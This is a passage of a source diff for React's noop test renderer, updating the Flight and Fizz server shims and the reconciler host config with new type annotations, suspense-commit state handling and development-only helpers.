-  createStringDecoder() {
-    return new TextDecoder();
-  },
-  readPartialStringChunk(decoder: TextDecoder, buffer: Uint8Array): string {
-    return decoder.decode(buffer, decoderOptions);
-  },
-  readFinalStringChunk(decoder: TextDecoder, buffer: Uint8Array): string {
-    return decoder.decode(buffer);
-  },
-  resolveClientReference(bundlerConfig: null, idx: string) {
-    return idx;
-  },
-  prepareDestinationForModule(moduleLoading: null, metadata: string) {},
-  preloadModule(idx: string) {},
-  requireModule(idx: string) {
-    return readModule(idx);
-  },
-  parseModel(response: Response, json) {
-    return JSON.parse(json, response._fromJSON);
-  },
-  printToConsole(methodName, args, badgeName) {
-    // eslint-disable-next-line react-internal/no-production-logging
-    console[methodName].apply(console, args);
-  },
-});
-
-function read<T>(source: Source): Thenable<T> {
-  const response = createResponse(source, null);
+const {createResponse, createStreamState, processBinaryChunk, getRoot, close} =
+  // $FlowFixMe[prop-missing]
+  ReactFlightClient({
+    createStringDecoder() {
+      return new TextDecoder();
+    },
+    readPartialStringChunk(decoder: TextDecoder, buffer: Uint8Array): string {
+      return decoder.decode(buffer, decoderOptions);
+    },
+    readFinalStringChunk(decoder: TextDecoder, buffer: Uint8Array): string {
+      return decoder.decode(buffer);
+    },
+    resolveClientReference(bundlerConfig: null, idx: string) {
+      return idx;
+    },
+    prepareDestinationForModule(moduleLoading: null, metadata: string) {},
+    preloadModule(idx: string) {},
+    requireModule(idx: string) {
+      return readModule(idx);
+    },
+    bindToConsole(methodName, args, badgeName) {
+      // $FlowFixMe[incompatible-call]
+      return Function.prototype.bind.apply(
+        // eslint-disable-next-line react-internal/no-production-logging
+        console[methodName],
+        [console].concat(args),
+      );
+    },
+    checkEvalAvailabilityOnceDev,
+  });
+
+type ReadOptions = {|
+  findSourceMapURL?: FindSourceMapURLCallback,
+  debugChannel?: {onMessage: (message: string) => void},
+  close?: boolean,
+|};
+
+function read<T>(source: Source, options: ReadOptions): Thenable<T> {
+  const response = createResponse(
+    // $FlowFixMe[incompatible-call]
+    source,
+    null,
+    // $FlowFixMe[incompatible-call]
+    null,
+    undefined,
+    undefined,
+    undefined,
+    undefined,
+    false,
+    options !== undefined ? options.findSourceMapURL : undefined,
+    true,
+    undefined,
+    __DEV__ && options !== undefined && options.debugChannel !== undefined
+      ? // $FlowFixMe[incompatible-call]
+        options.debugChannel.onMessage
+      : undefined,
+  );
+  const streamState = createStreamState(response, source);
   for (let i = 0; i < source.length; i++) {
-    processBinaryChunk(response, source[i], 0);
+    processBinaryChunk(
+      response,
+      streamState,
+      source[i],
+      // $FlowFixMe[extra-arg]
+      0,
+    );
+  }
+  if (options !== undefined && options.close) {
+    close(response);
   }
-  close(response);
   return getRoot(response);
 }
 
+let hasConfirmedEval = false;
+function checkEvalAvailabilityOnceDev(): void {
+  if (__DEV__) {
+    if (!hasConfirmedEval) {
+      hasConfirmedEval = true;
+      try {
+        // eslint-disable-next-line no-eval
+        (0, eval)('null');
+      } catch {
+        console.error(
+          'eval() is not supported in this environment. ' +
+            'React requires eval() in development mode for various debugging features ' +
+            'like reconstructing callstacks from a different environment.\n' +
+            'React will never use eval() in production mode',
+        );
+      }
+    }
+  } else {
+    throw new Error(
+      'checkEvalAvailabilityOnceDev should never be called in production mode. This is a bug in React.',
+    );
+  }
+}
+
 export {read};
diff --git a/packages/react-noop-renderer/src/ReactNoopFlightServer.js b/packages/react-noop-renderer/src/ReactNoopFlightServer.js
index ef3c738325d4..a10edd2b7737 100644
--- a/packages/react-noop-renderer/src/ReactNoopFlightServer.js
+++ b/packages/react-noop-renderer/src/ReactNoopFlightServer.js
@@ -20,10 +20,11 @@ import {saveModule} from 'react-noop-renderer/flight-modules';
 
 import ReactFlightServer from 'react-server/flight';
 
-type Destination = Array<Uint8Array>;
+type Destination = Array<Uint8Array | string>;
 
 const textEncoder = new TextEncoder();
 
+// $FlowFixMe[prop-missing]
 const ReactNoopFlightServer = ReactFlightServer({
   scheduleMicrotask(callback: () => void) {
     callback();
@@ -68,9 +69,12 @@ const ReactNoopFlightServer = ReactFlightServer({
 
 type Options = {
   environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
   identifierPrefix?: string,
+  signal?: AbortSignal,
+  debugChannel?: {onMessage?: (message: string) => void},
   onError?: (error: mixed) => void,
-  onPostpone?: (reason: string) => void,
+  startTime?: number,
 };
 
 function render(model: ReactClientValue, options?: Options): Destination {
@@ -78,14 +82,40 @@ function render(model: ReactClientValue, options?: Options): Destination {
   const bundlerConfig = undefined;
   const request = ReactNoopFlightServer.createRequest(
     model,
+    // $FlowFixMe[incompatible-call]
     bundlerConfig,
     options ? options.onError : undefined,
     options ? options.identifierPrefix : undefined,
-    options ? options.onPostpone : undefined,
-    options ? options.environmentName : undefined,
+    undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    // $FlowFixMe[incompatible-call]
+    __DEV__ && options && options.debugChannel !== undefined,
   );
+  const signal = options ? options.signal : undefined;
+  if (signal) {
+    if (signal.aborted) {
+      ReactNoopFlightServer.abort(request, (signal: any).reason);
+    } else {
+      const listener = () => {
+        ReactNoopFlightServer.abort(request, (signal: any).reason);
+        signal.removeEventListener('abort', listener);
+      };
+      signal.addEventListener('abort', listener);
+    }
+  }
+  if (__DEV__ && options && options.debugChannel !== undefined) {
+    options.debugChannel.onMessage = message => {
+      ReactNoopFlightServer.resolveDebugMessage(request, message);
+    };
+  }
   ReactNoopFlightServer.startWork(request);
-  ReactNoopFlightServer.startFlowing(request, destination);
+  ReactNoopFlightServer.startFlowing(
+    request,
+    // $FlowFixMe[incompatible-call]
+    destination,
+  );
   return destination;
 }
 
diff --git a/packages/react-noop-renderer/src/ReactNoopPersistent.js b/packages/react-noop-renderer/src/ReactNoopPersistent.js
index 040114b86b8a..83ca00ac9ba9 100644
--- a/packages/react-noop-renderer/src/ReactNoopPersistent.js
+++ b/packages/react-noop-renderer/src/ReactNoopPersistent.js
@@ -55,6 +55,7 @@ export const {
   // TODO: Remove this once callers migrate to alternatives.
   // This should only be used by React internals.
   unstable_runWithPriority,
+  // $FlowFixMe[signature-verification-failure]
 } = createReactNoop(
   ReactFiberReconciler, // reconciler
   false, // useMutation
diff --git a/packages/react-noop-renderer/src/ReactNoopServer.js b/packages/react-noop-renderer/src/ReactNoopServer.js
index 4e2832e4f2bf..93f66b27b306 100644
--- a/packages/react-noop-renderer/src/ReactNoopServer.js
+++ b/packages/react-noop-renderer/src/ReactNoopServer.js
@@ -30,18 +30,22 @@ type TextInstance = {
   hidden: boolean,
 };
 
+type ActivityInstance = {
+  children: Array<Instance | TextInstance | SuspenseInstance>,
+};
+
 type SuspenseInstance = {
   state: 'pending' | 'complete' | 'client-render',
   children: Array<Instance | TextInstance | SuspenseInstance>,
 };
 
 type Placeholder = {
-  parent: Instance | SuspenseInstance,
+  parent: Instance | Segment | SuspenseInstance,
   index: number,
 };
 
 type Segment = {
-  children: null | Instance | TextInstance | SuspenseInstance,
+  children: Array<Instance | TextInstance | SuspenseInstance>,
 };
 
 type Destination = {
@@ -51,8 +55,10 @@ type Destination = {
   stack: Array<Segment | Instance | SuspenseInstance>,
 };
 
+type ResumableState = null;
 type RenderState = null;
 type HoistableState = null;
+type PreambleState = null;
 
 const POP = Buffer.from('/', 'utf8');
 
@@ -73,6 +79,7 @@ function write(destination: Destination, buffer: Uint8Array): void {
   stack.push(instance);
 }
 
+// $FlowFixMe[prop-missing]
 const ReactNoopServer = ReactFizzServer({
   scheduleMicrotask(callback: () => void) {
     callback();
@@ -93,9 +100,21 @@ const ReactNoopServer = ReactFizzServer({
   closeWithError(destination: Destination, error: mixed): void {},
   flushBuffered(destination: Destination): void {},
 
+  byteLengthOfChunk: null,
+
   getChildFormatContext(): null {
     return null;
   },
+  getSuspenseFallbackFormatContext(): null {
+    return null;
+  },
+  getSuspenseContentFormatContext(): null {
+    return null;
+  },
+
+  getViewTransitionFormatContext(): null {
+    return null;
+  },
 
   resetResumableState(): void {},
   completeResumableState(): void {},
@@ -146,7 +165,9 @@ const ReactNoopServer = ReactFizzServer({
 
   writeCompletedRoot(
     destination: Destination,
+    resumableState: ResumableState,
     renderState: RenderState,
+    isComplete: boolean,
   ): boolean {
     return true;
   },
@@ -155,6 +176,7 @@ const ReactNoopServer = ReactFizzServer({
     destination: Destination,
     renderState: RenderState,
     id: number,
+    // $FlowFixMe[incompatible-return]
   ): boolean {
     const parent = destination.stack[destination.stack.length - 1];
     destination.placeholders.set(id, {
@@ -163,44 +185,73 @@ const ReactNoopServer = ReactFizzServer({
     });
   },
 
+  pushStartActivityBoundary(
+    target: Array<Uint8Array>,
+    renderState: RenderState,
+  ): void {
+    const activityInstance: ActivityInstance = {
+      children: [],
+    };
+    target.push(Buffer.from(JSON.stringify(activityInstance), 'utf8'));
+  },
+
+  pushEndActivityBoundary(
+    target: Array<Uint8Array>,
+    renderState: RenderState,
+  ): void {
+    target.push(POP);
+  },
+
   writeStartCompletedSuspenseBoundary(
     destination: Destination,
     renderState: RenderState,
-    suspenseInstance: SuspenseInstance,
   ): boolean {
-    suspenseInstance.state = 'complete';
+    const suspenseInstance: SuspenseInstance = {
+      state: 'complete',
+      children: [],
+    };
     const parent = destination.stack[destination.stack.length - 1];
     parent.children.push(suspenseInstance);
     destination.stack.push(suspenseInstance);
+    return true;
   },
   writeStartPendingSuspenseBoundary(
     destination: Destination,
     renderState: RenderState,
-    suspenseInstance: SuspenseInstance,
   ): boolean {
-    suspenseInstance.state = 'pending';
+    const suspenseInstance: SuspenseInstance = {
+      state: 'pending',
+      children: [],
+    };
     const parent = destination.stack[destination.stack.length - 1];
     parent.children.push(suspenseInstance);
     destination.stack.push(suspenseInstance);
+    return true;
   },
   writeStartClientRenderedSuspenseBoundary(
     destination: Destination,
     renderState: RenderState,
-    suspenseInstance: SuspenseInstance,
   ): boolean {
-    suspenseInstance.state = 'client-render';
+    const suspenseInstance: SuspenseInstance = {
+      state: 'client-render',
+      children: [],
+    };
     const parent = destination.stack[destination.stack.length - 1];
     parent.children.push(suspenseInstance);
     destination.stack.push(suspenseInstance);
+    return true;
   },
   writeEndCompletedSuspenseBoundary(destination: Destination): boolean {
     destination.stack.pop();
+    return true;
   },
   writeEndPendingSuspenseBoundary(destination: Destination): boolean {
     destination.stack.pop();
+    return true;
   },
   writeEndClientRenderedSuspenseBoundary(destination: Destination): boolean {
     destination.stack.pop();
+    return true;
   },
 
   writeStartSegment(
@@ -209,7 +260,7 @@ const ReactNoopServer = ReactFizzServer({
     formatContext: null,
     id: number,
   ): boolean {
-    const segment = {
+    const segment: Segment = {
       children: [],
     };
     destination.segments.set(id, segment);
@@ -217,9 +268,11 @@ const ReactNoopServer = ReactFizzServer({
       throw new Error('Segments are only expected at the root of the stack.');
     }
     destination.stack.push(segment);
+    return true;
   },
   writeEndSegment(destination: Destination, formatContext: null): boolean {
     destination.stack.pop();
+    return true;
   },
 
   writeCompletedSegmentInstruction(
@@ -240,6 +293,7 @@ const ReactNoopServer = ReactFizzServer({
       0,
       ...segment.children,
     );
+    return true;
   },
 
   writeCompletedBoundaryInstruction(
@@ -254,6 +308,7 @@ const ReactNoopServer = ReactFizzServer({
     }
     boundary.children = segment.children;
     boundary.state = 'complete';
+    return true;
   },
 
   writeClientRenderBoundaryInstruction(
@@ -261,18 +316,40 @@ const ReactNoopServer = ReactFizzServer({
     renderState: RenderState,
     boundary: SuspenseInstance,
   ): boolean {
+    // $FlowFixMe[prop-missing]
     boundary.status = 'client-render';
+    return true;
   },
 
-  writePreamble() {},
+  writePreambleStart() {},
+  writePreambleEnd() {},
   writeHoistables() {},
   writeHoistablesForBoundary() {},
   writePostamble() {},
   hoistHoistables(parent: HoistableState, child: HoistableState) {},
+  hasSuspenseyContent(
+    hoistableState: HoistableState,
+    flushingInShell: boolean,
+  ): boolean {
+    return false;
+  },
   createHoistableState(): HoistableState {
     return null;
   },
   emitEarlyPreloads() {},
+  createPreambleState(): PreambleState {
+    return null;
+  },
+  canHavePreamble() {
+    return false;
+  },
+  hoistPreambleState() {},
+  isPreambleReady() {
+    return true;
+  },
+  isPreambleContext() {
+    return false;
+  },
 });
 
 type Options = {
@@ -283,6 +360,7 @@ type Options = {
 };
 
 function render(children: React$Element<any>, options?: Options): Destination {
+  // $FlowFixMe[prop-missing]
   const destination: Destination = {
     root: null,
     placeholders: new Map(),
@@ -294,7 +372,11 @@ function render(children: React$Element<any>, options?: Options): Destination {
   };
   const request = ReactNoopServer.createRequest(
     children,
+    // $FlowFixMe[incompatible-call]
+    null,
+    // $FlowFixMe[incompatible-call]
     null,
+    // $FlowFixMe[incompatible-call]
     null,
     options ? options.progressiveChunkSize : undefined,
     options ? options.onError : undefined,
@@ -302,6 +384,7 @@ function render(children: React$Element<any>, options?: Options): Destination {
     options ? options.onShellReady : undefined,
   );
   ReactNoopServer.startWork(request);
+  // $FlowFixMe[incompatible-call]
   ReactNoopServer.startFlowing(request, destination);
   return destination;
 }
diff --git a/packages/react-noop-renderer/src/createReactNoop.js b/packages/react-noop-renderer/src/createReactNoop.js
index 9f8472df40e3..7172648f997a 100644
--- a/packages/react-noop-renderer/src/createReactNoop.js
+++ b/packages/react-noop-renderer/src/createReactNoop.js
@@ -22,6 +22,20 @@ import type {UpdateQueue} from 'react-reconciler/src/ReactFiberClassUpdateQueue'
 import type {ReactNodeList} from 'shared/ReactTypes';
 import type {RootTag} from 'react-reconciler/src/ReactRootTags';
 import type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';
+import type {TransitionTypes} from 'react/src/ReactTransitionType';
+import typeof * as HostConfig from 'react-reconciler/src/ReactFiberConfig';
+import typeof * as ReactFiberConfigWithNoMutation from 'react-reconciler/src/ReactFiberConfigWithNoMutation';
+import typeof * as ReactFiberConfigWithNoViewTransition from 'react-reconciler/src/ReactFiberConfigWithNoViewTransition';
+import typeof * as ReactFiberConfigWithNoPersistence from 'react-reconciler/src/ReactFiberConfigWithNoPersistence';
+
+import typeof * as ReconcilerAPI from 'react-reconciler/src/ReactFiberReconciler';
+import type {
+  Container,
+  HostContext,
+  Instance,
+  PublicInstance,
+  TextInstance,
+} from './ReactFiberConfigNoop';
 
 import * as Scheduler from 'scheduler/unstable_mock';
 import {REACT_FRAGMENT_TYPE, REACT_ELEMENT_TYPE} from 'shared/ReactSymbols';
@@ -35,20 +49,13 @@ import {
   ConcurrentRoot,
   LegacyRoot,
 } from 'react-reconciler/constants';
-import {
-  enableRefAsProp,
-  disableLegacyMode,
-  disableStringRefs,
-} from 'shared/ReactFeatureFlags';
+import * as DefaultConfig from './ReactFiberConfigNoop';
+
+import {disableLegacyMode} from 'shared/ReactFeatureFlags';
 
 import ReactSharedInternals from 'shared/ReactSharedInternals';
+import ReactVersion from 'shared/ReactVersion';
 
-type Container = {
-  rootID: string,
-  children: Array<Instance | TextInstance>,
-  pendingChildren: Array<Instance | TextInstance>,
-  ...
-};
 type Props = {
   prop: any,
   hidden: boolean,
@@ -60,45 +67,51 @@ type Props = {
   src?: string,
   ...
 };
-type Instance = {
-  type: string,
-  id: number,
-  parent: number,
-  children: Array<Instance | TextInstance>,
-  text: string | null,
-  prop: any,
-  hidden: boolean,
-  context: HostContext,
-};
-type TextInstance = {
-  text: string,
-  id: number,
-  parent: number,
-  hidden: boolean,
-  context: HostContext,
-};
-type HostContext = Object;
 type CreateRootOptions = {
   unstable_transitionCallbacks?: TransitionTracingCallbacks,
+  onUncaughtError?: (
+    error: mixed,
+    errorInfo: {+componentStack: ?string},
+  ) => void,
+  onCaughtError?: (
+    error: mixed,
+    errorInfo: {
+      +componentStack: ?string,
+      +errorBoundary?: ?component(...props: any),
+    },
+  ) => void,
+  onDefaultTransitionIndicator?: () => void | (() => void),
   ...
 };
+type InstanceMeasurement = null;
 
 type SuspenseyCommitSubscription = {
   pendingCount: number,
   commit: null | (() => void),
 };
 
+export opaque type SuspendedState = SuspenseyCommitSubscription;
+
 export type TransitionStatus = mixed;
 
 export type FormInstance = Instance;
 
+export type RunningViewTransition = null;
+
+export type ViewTransitionInstance = null | {name: string, ...};
+
+export type GestureTimeline = null;
+
 const NO_CONTEXT = {};
 const UPPERCASE_CONTEXT = {};
 if (__DEV__) {
   Object.freeze(NO_CONTEXT);
 }
 
-function createReactNoop(reconciler: Function, useMutation: boolean) {
+function createReactNoop(
+  reconciler: (hostConfig: HostConfig) => ReconcilerAPI,
+  useMutation: boolean,
+): any {
   let instanceCounter = 0;
   let hostUpdateCounter = 0;
   let hostCloneCounter = 0;
@@ -108,10 +121,19 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     child: Instance | TextInstance,
   ): void {
     const prevParent = child.parent;
-    if (prevParent !== -1 && prevParent !== parentInstance.id) {
+
+    if (
+      prevParent !== -1 &&
+      prevParent !==
+        // $FlowFixMe[prop-missing]
+        (parentInstance: Instance).id
+    ) {
       throw new Error('Reparenting is not allowed');
     }
-    child.parent = parentInstance.id;
+
+    child.parent =
+      // $FlowFixMe[prop-missing]
+      (parentInstance: Instance).id;
     const index = parentInstance.children.indexOf(child);
     if (index !== -1) {
       parentInstance.children.splice(index, 1);
@@ -241,11 +263,14 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     if (__DEV__) {
       checkPropStringCoercion(newProps.children, 'children');
     }
-    const clone = {
+    const clone: Instance = {
       id: instance.id,
       type: type,
       parent: instance.parent,
-      children: keepChildren ? instance.children : children ?? [],
+      children: keepChildren
+        ? instance.children
+        : // $FlowFixMe[incompatible-type] We're not typing immutable instances.
+          (children ?? []),
       text: shouldSetTextContent(type, newProps)
         ? computeText((newProps.children: any) + '', instance.context)
         : null,
@@ -255,6 +280,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     };
 
     if (type === 'suspensey-thing' && typeof newProps.src === 'string') {
+      // $FlowFixMe[prop-missing]
       clone.src = newProps.src;
     }
 
@@ -289,7 +315,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     );
   }
 
-  function computeText(rawText, hostContext) {
+  function computeText(rawText: string, hostContext: HostContext) {
     return hostContext === UPPERCASE_CONTEXT ? rawText.toUpperCase() : rawText;
   }
 
@@ -298,27 +324,29 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     subscriptions: Array<SuspenseyCommitSubscription> | null,
   };
 
-  let suspenseyThingCache: Map<
-    SuspenseyThingRecord,
-    'pending' | 'fulfilled',
-  > | null = null;
-
-  // Represents a subscription for all the suspensey things that block a
-  // particular commit. Once they've all loaded, the commit phase can proceed.
-  let suspenseyCommitSubscription: SuspenseyCommitSubscription | null = null;
+  let suspenseyThingCache: Map<string, SuspenseyThingRecord> | null = null;
 
-  function startSuspendingCommit(): void {
-    // This is where we might suspend on things that aren't associated with a
-    // particular node, like document.fonts.ready.
-    suspenseyCommitSubscription = null;
+  function startSuspendingCommit(): SuspendedState {
+    // Represents a subscription for all the suspensey things that block a
+    // particular commit. Once they've all loaded, the commit phase can proceed.
+    return {
+      pendingCount: 0,
+      commit: null,
+    };
   }
 
-  function suspendInstance(type: string, props: Props): void {
+  function suspendInstance(
+    state: SuspendedState,
+    instance: Instance,
+    type: string,
+    props: Props,
+  ): void {
     const src = props.src;
     if (type === 'suspensey-thing' && typeof src === 'string') {
       // Attach a listener to the suspensey thing and create a subscription
       // object that uses reference counting to track when all the suspensey
       // things have loaded.
+      // $FlowFixMe[incompatible-use] Still not nullable
       const record = suspenseyThingCache.get(src);
       if (record === undefined) {
         throw new Error('Could not find record for key.');
@@ -326,20 +354,13 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       if (record.status === 'fulfilled') {
         // Already loaded.
       } else if (record.status === 'pending') {
-        if (suspenseyCommitSubscription === null) {
-          suspenseyCommitSubscription = {
-            pendingCount: 1,
-            commit: null,
-          };
-        } else {
-          suspenseyCommitSubscription.pendingCount++;
-        }
+        state.pendingCount++;
         // Stash the subscription on the record. In `resolveSuspenseyThing`,
         // we'll use this fire the commit once all the things have loaded.
         if (record.subscriptions === null) {
           record.subscriptions = [];
         }
-        record.subscriptions.push(suspenseyCommitSubscription);
+        record.subscriptions.push(state);
       }
     } else {
       throw new Error(
@@ -349,16 +370,15 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     }
   }
 
-  function waitForCommitToBeReady():
-    | ((commit: () => mixed) => () => void)
-    | null {
-    const subscription = suspenseyCommitSubscription;
-    if (subscription !== null) {
-      suspenseyCommitSubscription = null;
+  function waitForCommitToBeReady(
+    state: SuspendedState,
+    timeoutOffset: number,
+  ): ((commit: () => void) => () => void) | null {
+    if (state.pendingCount > 0) {
       return (commit: () => void) => {
-        subscription.commit = commit;
+        state.commit = commit;
         const cancelCommit = () => {
-          subscription.commit = null;
+          state.commit = null;
         };
         return cancelCommit;
       };
@@ -366,8 +386,13 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
     return null;
   }
 
-  const sharedHostConfig = {
-    supportsSingletons: false,
+  const sharedHostConfig: HostConfig = {
+    rendererVersion: ReactVersion,
+    rendererPackageName: 'react-noop',
+
+    ...DefaultConfig,
+
+    extraDevToolsConfig: null,
 
     getRootHostContext() {
       return NO_CONTEXT;
@@ -383,10 +408,12 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       return NO_CONTEXT;
     },
 
-    getPublicInstance(instance) {
-      return instance;
+    getPublicInstance(instance: Instance): PublicInstance {
+      return (instance: any);
     },
 
+    HostTransitionContext: null,
+
     createInstance(
       type: string,
       props: Props,
@@ -404,7 +431,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
           checkPropStringCoercion(props.children, 'children');
         }
       }
-      const inst = {
+      const inst: Instance = {
         id: instanceCounter++,
         type: type,
         children: [],
@@ -419,6 +446,7 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       };
 
       if (type === 'suspensey-thing' && typeof props.src === 'string') {
+        // $FlowFixMe[prop-missing]
         inst.src = props.src;
       }
 
@@ -436,10 +464,12 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
         value: inst.context,
         enumerable: false,
       });
+      // $FlowFixMe[prop-missing]
       Object.defineProperty(inst, 'fiber', {
         value: internalInstanceHandle,
         enumerable: false,
       });
+      // $FlowFixMe[incompatible-return]
       return inst;
     },
 
@@ -494,6 +524,22 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       return inst;
     },
 
+    createFragmentInstance(fragmentFiber: mixed) {
+      return null;
+    },
+
+    updateFragmentInstanceFiber(fragmentFiber: mixed, fragmentInstance: mixed) {
+      // Noop
+    },
+
+    commitNewChildToFragmentInstance(child: mixed, fragmentInstance: mixed) {
+      // Noop
+    },
+
+    deleteChildFromFragmentInstance(child: mixed, fragmentInstance: mixed) {
+      // Noop
+    },
+
     scheduleTimeout: setTimeout,
     cancelTimeout: clearTimeout,
     noTimeout: -1,
@@ -503,15 +549,15 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       typeof queueMicrotask === 'function'
         ? queueMicrotask
         : typeof Promise !== 'undefined'
-        ? callback =>
-            Promise.resolve(null)
-              .then(callback)
-              .catch(error => {
-                setTimeout(() => {
-                  throw error;
-                });
-              })
-        : setTimeout,
+          ? (callback: () => void) =>
+              Promise.resolve(null)
+                .then(callback)
+                .catch(error => {
+                  setTimeout(() => {
+                    throw error;
+                  });
+                })
+          : setTimeout,
 
     prepareForCommit(): null | Object {
       return null;
@@ -529,15 +575,22 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       return currentEventPriority;
     },
 
+    trackSchedulerEvent(): void {},
+
+    resolveEventType(): null | string {
+      return null;
+    },
+
+    resolveEventTimeStamp(): number {
+      return -1.1;
+    },
+
     shouldAttemptEagerTransition(): boolean {
       return false;
     },
 
-    now: Scheduler.unstable_now,
-
     isPrimaryRenderer: true,
     warnsIfNotActing: true,
-    supportsHydration: false,
 
     getInstanceFromNode() {
       throw new Error('Not yet implemented.');
@@ -555,19 +608,9 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       // NO-OP
     },
 
-    prepareScopeUpdate() {},
-
-    getInstanceFromScope() {
-      throw new Error('Not yet implemented.');
-    },
-
     detachDeletedInstance() {},
 
-    logRecoverableError() {
-      // no-op
-    },
-
-    requestPostPaintCallback(callback) {
+    requestPostPaintCallback(callback: (time: number) => void) {
       const endTime = Scheduler.unstable_now();
       callback(endTime);
     },
@@ -580,16 +623,31 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       return type === 'suspensey-thing' && typeof props.src === 'string';
     },
 
-    mayResourceSuspendCommit(resource: mixed): boolean {
-      throw new Error(
-        'Resources are not implemented for React Noop yet. This method should not be called',
+    maySuspendCommitOnUpdate(
+      type: string,
+      oldProps: Props,
+      newProps: Props,
+    ): boolean {
+      // Asks whether it's possible for this combination of type and props
+      // to ever need to suspend. This is different from asking whether it's
+      // currently ready because even if it's ready now, it might get purged
+      // from the cache later.
+      return (
+        type === 'suspensey-thing' &&
+        typeof newProps.src === 'string' &&
+        newProps.src !== oldProps.src
       );
     },
 
-    preloadInstance(type: string, props: Props): boolean {
+    maySuspendCommitInSyncRender(type: string, props: Props): boolean {
+      return true;
+    },
+
+    preloadInstance(instance: Instance, type: string, props: Props): boolean {
       if (type !== 'suspensey-thing' || typeof props.src !== 'string') {
         throw new Error('Attempted to preload unexpected instance: ' + type);
       }
+      const src = props.src;
 
       // In addition to preloading an instance, this method asks whether the
       // instance is ready to be committed. If it's not, React may yield to the
@@ -598,13 +656,15 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       if (suspenseyThingCache === null) {
         suspenseyThingCache = new Map();
       }
-      const record = suspenseyThingCache.get(props.src);
+      const record = suspenseyThingCache.get(src);
       if (record === undefined) {
         const newRecord: SuspenseyThingRecord = {
           status: 'pending',
           subscriptions: null,
         };
-        suspenseyThingCache.set(props.src, newRecord);
+        // $FlowFixMe[incompatible-use] Still not nullable
+        suspenseyThingCache.set(src, newRecord);
+        // $FlowFixMe[prop-missing]
         const onLoadStart = props.onLoadStart;
         if (typeof onLoadStart === 'function') {
           onLoadStart();
@@ -615,188 +675,322 @@ function createReactNoop(reconciler: Function, useMutation: boolean) {
       }
     },
 
-    preloadResource(resource: mixed): number {
-      throw new Error(
-        'Resources are not implemented for React Noop yet. This method should not be called',
-      );
-    },
-
     startSuspendingCommit,
     suspendInstance,
 
-    suspendResource(resource: mixed): void {
-      throw new Error(
-        'Resources are not implemented for React Noop yet. This method should not be called',
-      );
+    suspendOnActiveViewTransition(
+      state: SuspendedState,
+      container: Container,
+    ): void {
+      // Not implemented
     },
 
     waitForCommitToBeReady,
 
+    getSuspendedCommitReason(
+      state: SuspendedState,
+      rootContainer: Container,
+    ): null | string {
+      return null;
+    },
+
     NotPendingTransition: (null: TransitionStatus),
 
     resetFormInstance(form: Instance) {},
-  };
 
-  const hostConfig = useMutation
-    ? {
-        ...sharedHostConfig,
+    bindToConsole(methodName: $FlowFixMe, args: Array<any>, badgeName: string) {
+      // $FlowFixMe[incompatible-call]
+      return Function.prototype.bind.apply(
+        // eslint-disable-next-line react-internal/no-production-logging
+        console[methodName],
+        [console].concat(args),
+      );
+    },
+  };
 
-        supportsMutation: true,
-        supportsPersistence: false,
+  const mutationHostConfig: Pick<
+    HostConfig,
+    | $Keys<ReactFiberConfigWithNoMutation>
+    | $Keys<ReactFiberConfigWithNoViewTransition>,
+  > = {
+    supportsMutation: true,
 
-        commitMount(instance: Instance, type: string, newProps: Props): void {
-          // Noop
-        },
+    cloneMutableInstance() {
+      // required for enableGestureTransition
+      throw new Error('Not yet implemented.');
+    },
 
-        commitUpdate(
-          instance: Instance,
-          type: string,
-          oldProps: Props,
-          newProps: Props,
-        ): void {
-          if (oldProps === null) {
-            throw new Error('Should have old props');
-          }
-          hostUpdateCounter++;
-          instance.prop = newProps.prop;
-          instance.hidden = !!newProps.hidden;
+    cloneMutableTextInstance() {
+      // required for enableGestureTransition
+      throw new Error('Not yet implemented.');
+    },
 
-          if (type === 'suspensey-thing' && typeof newProps.src === 'string') {
-            instance.src = newProps.src;
-          }
+    commitMount(instance: Instance, type: string, newProps: Props): void {
+      // Noop
+    },
 
-          if (shouldSetTextContent(type, newProps)) {
-            if (__DEV__) {
-              checkPropStringCoercion(newProps.children, 'children');
-            }
-            instance.text = computeText(
-              (newProps.children: any) + '',
-              instance.context,
-            );
-          }
-        },
+    commitUpdate(
+      instance: Instance,
+      type: string,
+      oldProps: Props,
+      newProps: Props,
+    ): void {
+      if (oldProps === null) {
+        throw new Error('Should have old props');
+      }
+      hostUpdateCounter++;
+      instance.prop = newProps.prop;
+      instance.hidden = !!newProps.hidden;
 
-        commitTextUpdate(
-          textInstance: TextInstance,
-          oldText: string,
-          newText: string,
-        ): void {
-          hostUpdateCounter++;
-          textInstance.text = computeText(newText, textInstance.context);
-        },
+      if (type === 'suspensey-thing' && typeof newProps.src === 'string') {
+        // $FlowFixMe[prop-missing]
+        instance.src = newProps.src;
+      }
 
-        appendChild,
-        appendChildToContainer,
-        insertBefore,
-        insertInContainerBefore,
-        removeChild,
-        removeChildFromContainer,
-        clearContainer,
+      if (shouldSetTextContent(type, newProps)) {
+        if (__DEV__) {
+          checkPropStringCoercion(newProps.children, 'children');
+        }
+        instance.text = computeText(
+          (newProps.children: any) + '',
+          instance.context,
+        );
+      }
+    },
 
-        hideInstance(instance: Instance): void {
-          instance.hidden = true;
-        },
+    commitTextUpdate(
+      textInstance: TextInstance,
+      oldText: string,
+      newText: string,
+    ): void {
+      hostUpdateCounter++;
+      textInstance.text = computeText(newText, textInstance.context);
+    },
 
-        hideTextInstance(textInstance: TextInstance): void {
-          textInstance.hidden = true;
-        },
+    appendChild,
+    appendChildToContainer,
